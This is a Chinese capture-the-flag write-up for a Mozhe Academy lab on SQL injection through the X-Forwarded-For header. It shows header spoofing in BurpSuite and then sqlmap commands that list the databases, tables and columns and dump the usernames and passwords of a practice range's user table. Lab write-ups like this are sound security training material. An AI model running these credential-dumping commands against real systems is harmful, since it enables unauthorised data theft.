[ 墨者学院 ] SQL注入 —— X-Forwarded-For注入漏洞实战
0x00.题目描述:
背景介绍
某业务系统,安全工程师"墨者"进行授权黑盒测试,系统的业主单位也没有给账号密码,怎么测?
实训目标
1、掌握SQL注入的基本原理;
2、了解服务器获取客户端IP的方式;
3、了解SQL注入的工具使用;
解题方向
对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。
0x01.解题过程:
打开靶场环境,可以看到是一个后台管理登录界面
输入用户名(admin)和密码(admin)利用BurpSuite进行抓包分析,可以看到登录失败,并提示登录的IP地址。
下面利用X-Forwoarded-For头伪装127.0.0.1进行测试,可以看到登录地址成功变成127.0.0.1*
复制RAW文件到xff.txt中,这里构造的X-Forwarded-For值为*,经过测试构造为127.0.0.1利用sqlmap跑的时候不会去识别此地方,这里利用*代替后成功执行。
构造sqlmap语句爆出数据库
sqlmap -r xff.txt --dbs --batch
构造sqlmap语句爆出数据库webcalendar的表名
sqlmap -r xff.txt -D webcalendar --table --batch
构造sqlmap语句爆出user表的字段名
sqlmap -r xff.txt -D webcalendar -T user --columns --batch
构造sqlmap语句爆出username和password字段中的内容即可,这里就不剧透username和password的具体内容了。
sqlmap -r xff.txt -D webcalendar -T user -C 'username,password' --dump --batch
利用爆出的用户名和密码登录即可获得flag